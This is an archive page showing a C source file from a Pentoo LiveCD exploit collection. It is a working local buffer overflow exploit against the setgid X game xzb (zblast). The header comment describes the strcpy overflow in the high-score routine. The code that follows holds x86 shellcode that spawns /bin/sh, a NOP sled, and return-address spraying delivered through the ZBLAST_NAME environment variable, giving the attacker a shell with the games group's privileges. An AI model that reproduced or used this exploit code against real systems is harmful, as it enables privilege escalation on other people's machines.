home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xzblast / xxzb.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  73 lines

  1. /* (linux)zblast/xzb[v1.2]: local buffer overflow.
  2.    by: v9[v9@fakehalo.deadpig.org].
  3.  
  4.    zblast/xzb is a common svgalib/X game, included on
  5.    www.svgalib.org's program downloads:
  6.     http://www.svgalib.org/rus/zblast/index.html
  7.  
  8.    this exploit gives uid=20(games), using the X version
  9.    of zblast.  both versions are based of the same code,
  10.    except for the fact privileges are only dropped in the
  11.    svgalib version:
  12.     zblast.c:2095:#ifndef USE_X
  13.     zblast.c:2096:setuid(getuid()); setgid(getgid());
  14.  
  15.    now for the point/fun of this.  you have to make it to
  16.    the high scores in the game to exploit this :), as it's
  17.    done when writing the high scores.  although, if there
  18.    is a blank spot in the high scores you can just make
  19.    it happen by typing <enter>, then <esc>.
  20.  
  21.    file stats(from install):
  22.     -r-xr-sr-x root games /usr/local/games/xzb
  23.     -r-sr-sr-x root games /usr/local/games/zblast
  24.  
  25.    the bug itself(simple enough):
  26.     hiscore.c:124:void writescore(int score)
  27.     hiscore.c:129:char name[1024],*ptr;
  28.     hiscore.c:133:if((ptr=getenv("ZBLAST_NAME"))==NULL)
  29.     hiscore.c:136:if((ptr=getenv("USER"))==NULL)
  30.     hiscore.c:137:if((ptr=getenv("LOGNAME"))==NULL)
  31.     hiscore.c:148:if(ptr!=NULL) strcpy(name,ptr);
  32. */
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <string.h>
  36. #include <unistd.h>
  37.  
  38. #define PATH "/usr/local/games/xzb" /* X binary.     */
  39. #define DEFAULT_OFFSET 500 /* for typical small env. */
  40.  
  41. static char exec[]=
  42.  "\x31\xdb\x31\xc9\xb3\x14\xb1\x14\x31\xc0\xb0\x47\xcd"
  43.  "\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
  44.  "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
  45.  "\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  46.  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
  47.  
  48. long esp(void){__asm__("movl %esp,%eax");}
  49.  
  50. int main(int argc,char **argv){
  51.  char buf[1040];
  52.  int i,offset;
  53.  long ret;
  54.  
  55.  printf("(*)zblast/xzb[v1.2]: local buffer overflow.\n");
  56.  printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n");
  57.  
  58.  if(argc>1){offset=atoi(argv[1]);}
  59.  else{offset=DEFAULT_OFFSET;}
  60.  ret=(esp()-offset);
  61.  
  62.  printf("return address: 0x%lx, offset: %d.\n",ret,offset);
  63.  /* alignment will never need to be changed. */
  64.  for(i=0;i<sizeof(buf);i+=4){*(long *)&buf[i]=ret;}
  65.  for(i=0;i<(1000-strlen(exec));i++){*(buf+i)=0x90;}
  66.  memcpy(buf+i,exec,strlen(exec));
  67.  setenv("ZBLAST_NAME",buf,1); /* or $USER/$LOGNAME. */
  68.  if(execlp(PATH,PATH,0))
  69.   printf("* failed to execute %s.\n",PATH);
  70.  exit(0);
  71. }
  72.  
  73.